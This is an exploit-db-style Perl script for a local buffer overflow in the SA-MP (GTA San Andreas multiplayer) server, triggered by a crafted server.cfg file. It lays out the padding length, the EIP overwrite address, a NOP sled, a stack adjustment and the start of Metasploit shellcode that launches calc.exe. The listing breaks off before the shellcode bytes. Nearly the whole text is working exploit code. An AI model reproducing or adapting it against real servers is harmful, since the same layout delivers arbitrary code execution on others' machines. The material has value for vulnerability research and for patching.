# GTA SA-MP server.cfg Local Buffer Overflow Vulnerability (0day)
# Date: 9-26-11
# Author: Silent_Dream
# Software Link: http://team.sa-mp.com/files/samp03csvr_R2-2_win32.zip
# Tested on: XP SP3, Windows 7
# Thanks to: corelanc0d3r & team, Metasploit, Exploit-db.
#No PPRs found (app compiled with safeseh on), so this exploit uses EIP overwrite instead.
#392 bytes max payload space (after this you hit SEH), 3 badchars: 0x1a, 0x0d, 0x0a.
#Triggering Details: Overwrite server.cfg with this file, run samp-server.exe, boom calculator!
my $file = "server.cfg"; #file must be named server.cfg for bug to trigger.
my $head = "echo "; #probably not needed, tweak if you want.
my $junk = "\x41" x 379;
my $eip = "\xaa\x9f\x42\x00"; #push esp/ret in samp-server.exe
my $nops = "\x90" x 12;
my $adjust = "\x81\xc4\x54\xf2\xff\xff"; #add esp, -3500
my $shellcode =
#x86/shikata_ga_nai succeeded with size 227 (iteration=1)
#Metasploit windows/exec calc.exe -b '\x1a\x0d\x0a'